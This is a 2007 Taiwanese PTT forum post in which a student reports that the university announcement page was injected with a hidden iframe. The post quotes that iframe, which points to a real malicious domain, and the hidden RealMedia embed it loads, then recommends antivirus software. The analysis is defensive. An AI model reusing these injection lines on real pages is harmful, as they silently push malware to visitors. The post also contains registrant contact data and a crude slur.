作者mosquito520 (賣頻寬控制分享器)
看板NUU_Talk
標題[閒聊] 學校公告又被植入惡意程式...
時間Sun Jun 17 22:12:19 2007
我家那口子問我的...
他說用IE開會關掉...
我就看了一下...
用firefox開...
不過還是被防毒軟體擋了下來...
學校公告的最前面被加入這樣一行html語法...
<iframe src=
http://www.lliinnss.com/ot/c22.htm width=0 height=0></iframe>
用wget抓下來看看...
內容如下...
<embed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
controls="controlpanel,statusbar" height=0
width=0 autostart=true hidden>
意思是會開啟一個隱藏的real media檔案...
real media檔案是可以加入惡意程式的...
so...
如果開了沒反應的...
可以換防毒軟體了...
在此我推薦avast...
該找到的都有找到...正確率夠高...
不該跳出來的也沒亂跳...誤報率夠低...
而且...他是可以免費使用的...:)
家庭版只需要填一些簡單的資料就可以取得序號碼...
期限是一年...所以一年要更新一次...
不過單就他監控的縝密度跟更新的速度...
我倒是頗樂意一年更新一次序號的...
印象中好像是M$ IIS的某個漏洞會造成有心人士可以植入惡意程式...
看樣子學校方面沒有處理的很好的樣子...
﹝還是根本沒處理呢？hm...﹞
PS.
剛才又查了一下...
那個網域的註冊資料...
http://www.who.is/whois-com/ip-address/lliinnss.com/
Registrar: XIN NET TECHNOLOGY CORPORATION
Administrative Contact:
qin lin
qinlin
lianquanxilu
xiamen Fujian 361000
China
tel: 86 0592 5169123
fax: 86 0592 5169123
這一切都是阿共仔的陰毛啦...XD
--
▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁
國 立 聯 合 大 學
(理工/電資/管理/技術/客家)院所 招生中
National United University
───────────────────────────────────
首頁
http://www.nuu.edu.tw BBS telnet://uun.twbbs.org
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 220.133.140.180
※ 編輯: mosquito520 來自: 220.133.140.180 (06/17 22:17)
1F：推 airer:挖!!真專業 06/17 22:23
2F：推 tommy7594:推專業~ 06/17 22:26
3F：推 YenXD:real player幫我檔下來耶 好酷 06/17 22:31
4F：推 fallen0415:我應該要去點看看以測試我的防毒軟體嗎= =? 06/17 22:33
5F：推 fallen0415:...........點了 沒反應 啊好= = 06/17 22:39
6F：→ fallen0415:傳說中的好奇心會害死人= =" 06/17 22:40
※ fallen0415:轉錄至看板 StupidClown 06/17 22:41
7F：推 fghtgb:專業!!! 06/17 22:41
8F：推 dogkid:那AntiVir這套防毒推薦嗎? @.@ 06/17 22:41
9F：推 mosquito520:小紅傘...自己用的感覺頗差...倒不是正確率誤報率問題 06/17 22:48
10F：→ mosquito520:主要是那個更新...每次更新我都想殺人... 06/17 22:49
11F：→ mosquito520:所以我就改用avast了...( ￣ c￣)y▂ξ 06/17 22:50
12F：推 jkfive:還在用隨機版的卡車司機5.0 06/17 22:50
13F：推 moveurbody:反譯程式啟動中XD 06/17 22:51
14F：推 moveurbody:突然想到Yen大 你是用RP原裝的嗎? MPC包裝的應該偵測不 06/17 22:53
15F：→ moveurbody:出來 06/17 22:55
16F：推 YenXD:不是耶!! XD 06/17 23:00
17F：推 kiyami:好酷喔!!XD 06/17 23:01
18F：推 YenXD:avast home 跟 pro 板效果差很多嗎? 06/17 23:08
19F：→ YenXD:我發現nod不會檔 該考慮換掉了 = = 06/17 23:08
20F：推 moveurbody:nod他的主要是防病毒 但是木馬的好像沒什麼用 06/17 23:27
21F：→ moveurbody:所以很多人是用nod加上小紅傘 06/17 23:28
22F：推 mosquito520:用了avast home不錯的話...有錢就考慮買pro用阿:) 06/17 23:54
23F：→ mosquito520:nod32...這我不熟...不予置評:) 06/17 23:55
24F：推 ayuky:那現在是不能看校園公告嗎= = 06/18 00:00
25F：推 metalfinally:我只想知道一件事，為什麼我們學校常被植入木馬啊... 06/18 00:13
26F：推 mattily:耶!我的NOD有找到(這有啥好高興的( ‵□′)─C＜─___－＞ 06/18 00:22
27F：推 mosquito520:回樓上上...八成是IIS漏洞沒有補... 06/18 00:33
28F：推 dark0224:低調推avast 06/18 14:35
29F：推 jkfive:沒事幹麻低調推... 06/18 19:28
30F：推 s2415372:上次去找學校網管師問過...他說漏洞沒辦法 ... 06/19 02:08
31F：→ s2415372:所以大家只能想辦法自保了 ...順便投卡巴一票 06/19 02:09
32F：→ s2415372:另外 ...最近常去親身體驗的時候發現現在的木馬好像 06/19 02:10
33F：→ s2415372:和上個月 還有上上個月的都不一樣 難道學生變成待宰羔羊 06/19 02:12
34F：→ s2415372:另外 想問一下....有沒有人有那種專門拿來解析病毒的軟體 06/19 02:13
35F：→ s2415372:就是那個能製造一個虛擬環境給病毒執行 方便觀察的軟體 06/19 02:14